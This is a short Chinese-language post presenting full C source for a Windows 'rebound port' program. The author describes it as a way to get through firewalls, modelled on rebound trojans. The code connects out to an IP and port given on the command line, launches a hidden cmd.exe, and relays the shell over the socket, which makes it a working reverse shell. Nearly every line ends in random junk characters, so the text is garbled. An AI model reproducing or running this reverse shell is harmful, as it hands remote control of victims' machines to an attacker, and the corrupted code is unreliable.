这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 &!DZW5
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/* ============================== j*H;a ?Y
Rebound port in Windows NT \5_P5q:`
By wind,2006/7 h%1~v$W`
===============================*/ &ap`}^8pM
#include vpeBQ=2\
#include 6a%:zgkOpu
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#pragma comment(lib,"wsock32.lib") )`s;~_ZZ
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void OutputShell(); !M]%8NTt2
SOCKET sClient; :,%J6Zh?
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; pqH(
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void main(int argc,char **argv) x7KcO0F{
{ E)80S.V
WSADATA stWsaData; qb-2QPEB
int nRet; RQo$iISwy
SOCKADDR_IN stSaiClient,stSaiServer; $d2kHT
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if(argc != 3) 8_<&f%/
{ esh$*)1
printf("Useage:\n\rRebound DestIP DestPort\n"); u 5Eo
return; z{`6#
} zJfK4o
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WSAStartup(MAKEWORD(2,2),&stWsaData); OK
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 49xp2{
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stSaiClient.sin_family = AF_INET; !c4)pMd
stSaiClient.sin_port = htons(0); sP6 ):h
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ZTh?^}/
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) SaR}\Up
{ '0CXHjZN
printf("Bind Socket Failed!\n"); pcRF:~TE
return; )BF \!sTn
} u>,lf\Fgz
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stSaiServer.sin_family = AF_INET; g{A3W) [ b
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); <ELziE~>V
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); BcZEa^^~os
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) d s|8lz,
{ d7W%zg\T
printf("Connect Error!"); 4Q$j]U&b
return; /'Quu)~
} vx\nr8'k
OutputShell(); G *mO&:q
} YW8K
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void OutputShell() wUZQB1$F
{ oF%^QT"R
char szBuff[1024]; H_%d3 RI
SECURITY_ATTRIBUTES stSecurityAttributes; [<D+pqh
OSVERSIONINFO stOsversionInfo; c&Gz>
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; kF(Ce{;z
STARTUPINFO stStartupInfo; K,x$c %
char *szShell; tr}KPdE
PROCESS_INFORMATION stProcessInformation; PoYr:=S?
unsigned long lBytesRead; QO5OnYh
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); eZ!yPdgy|
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); y!7B,
stSecurityAttributes.lpSecurityDescriptor = 0; ?-pxte8
stSecurityAttributes.bInheritHandle = TRUE; P<>[e9|
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); gf:vb*#Wa
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ?gd'M_-J,
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,3VG.u;U
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (y=dR1p
stStartupInfo.wShowWindow = SW_HIDE; ltNuLZ
stStartupInfo.hStdInput = hReadPipe; 51&|t#8h
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; I`/]@BdgY
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GetVersionEx(&stOsversionInfo); 4]"a;(
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switch(stOsversionInfo.dwPlatformId) #C"7
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{ fzLANya
case 1: m5e\rMN~>\
szShell = "command.com"; -,R0IGS
break; nHI(V-E2:H
default: >:.w7LQy/
szShell = "cmd.exe"; rU;
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break; 8'3"uv
} bHO7*E
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); _TZW|Dh-2F
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send(sClient,szMsg,77,0); Vn)%C_-]A
while(1) i%xI9BO9
{ MPjr_yc]
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); hA@zoIoe
if(lBytesRead) ])N|[ |$
{ sk#9x`Rw
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); jz
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send(sClient,szBuff,lBytesRead,0); p9/bzT34.
} BD hLz
else !$D&6M|C8l
{ w|&,I4["
lBytesRead=recv(sClient,szBuff,1024,0); :0B
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if(lBytesRead<=0) break; |$M@09,F"
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); !-KCFMvT
} '!pAnsXfO
} vkd *ER^
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return; 5_v5
}